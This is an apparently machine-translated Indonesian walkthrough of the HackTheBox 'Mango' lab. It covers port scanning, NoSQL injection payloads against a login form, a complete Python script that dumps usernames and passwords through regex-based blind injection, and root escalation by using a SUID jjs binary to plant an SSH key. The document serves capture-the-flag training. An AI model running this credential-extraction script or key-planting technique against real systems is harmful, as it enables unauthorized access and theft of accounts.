HackTheBox. Panduan Mangga. Injeksi NoSQL dan LPE melalui JJS

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .

Pada artikel ini, kami mengeksploitasi injeksi NoSQL dalam bentuk otorisasi, dan juga meningkatkan hak istimewa melalui JJS.

Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.162, yang saya tambahkan ke / etc / hosts.

10.10.10.162    mango.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.

nmap -A mango.htb -p22,80,443

gambar

Pertama-tama, mari kita tonton situsnya. Saat mengakses mango.htb, mereka melemparkan kami dari http ke https dan berbicara tentang masalah dengan sertifikat. Jika Anda menyetujui risikonya, Anda dapat melihat halaman ini.

gambar

Tapi tidak ada yang lebih menarik. Pemindaian nmap menampilkan informasi ssl-cert di mana domain ditentukan. Tambahkan ke / etc / hosts.
10.10.10.162 staging-order.mango.htb
Dan mari kita lihat apa yang ada di sana.

gambar

Ada formulir otorisasi - titik masuk yang memungkinkan.

Titik masuk


Kami mencoba beberapa teknik injeksi untuk melewati otorisasi. Dan kami menemukan injeksi NoSql standar dengan membandingkan reaksi dengan dua kondisi: masuk adalah 123, kata sandi 123 dan masuk bukan 123, kata sandi bukan 123.

gambar

Dan setelah hasil sebenarnya yang berhasil dari kondisi kedua, kami mendapatkan pengalihan ke home.php. Dengan demikian, injeksi NoSql dimungkinkan.

gambar

Karena tidak ada yang menarik di halaman, satu-satunya hal yang dapat kita ambil dari kerentanan ini adalah login dan kata sandi.

PENGGUNA


Mari kita lihat panjang nama pengguna dan kata sandi maksimum. Untuk melakukan ini, Anda dapat menggunakan konstruksi berikut:
login [$ regex] =. {Panjang} & kata sandi [$ ne] = 123 - untuk login (perbandingan ekspresi reguler untuk login dilakukan dan kata sandi tidak valid);
login [$ ne] = 123; kata sandi [$ regex] =. {length} untuk kata sandi.

Mari kita lakukan dengan pengganggu bersendawa.

gambar

gambar

gambar

Dengan demikian, panjang login terlama adalah 5 karakter. Setelah melakukan operasi yang sama untuk kata sandi, kami menemukan bahwa panjang yang terpanjang adalah 16 karakter.

gambar

Karena terlalu lama untuk mengatasinya dengan tangan Anda, kami akan menulis skrip python. Pertama, kami akan membuat sesi untuk bekerja.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


Selanjutnya, kami menerapkan fungsi untuk menghitung login. Iterasi akan dilakukan menggunakan ekspresi reguler ^ nama berikut. * - dengan cara ini kita akan merentangkan satu karakter pada satu waktu.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


Dan fungsi yang serupa, hanya menggunakan login yang ditemukan.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


KODE LENGKAP:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


Dan, sebagai hasilnya, kami menemukan kredensial dua pengguna.

gambar

Kami berhasil terhubung ke kredensial melalui SSH.

gambar

Kami memiliki kata sandi dari pengguna kedua, tetapi tidak mengizinkan masuk melalui SSH. Kami mencoba mengubah pengguna secara lokal dengan memasukkan kata sandi yang kami tahu.

gambar

AKAR


Mari kita lakukan pencacahan dasar menggunakan skrip LinEnum .

gambar

Dan kami menemukan program dengan set S-bit.

gambar

Memeriksa JJS misalnya GTFOBins .

gambar

Ada juga contoh operasi. Panggilan shell lokal tidak berfungsi. Tetapi Anda dapat membuat kunci ssh, menulis publik di /root/.ssh/authorized_keys dan terhubung menggunakan pribadi.

gambar

Mari kita hitung kunci publik.

gambar

Dan sekarang tuliskan.

gambar

Dan sekarang terhubung sebagai root.

gambar

Anda dapat bergabung dengan kami di Telegram. Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles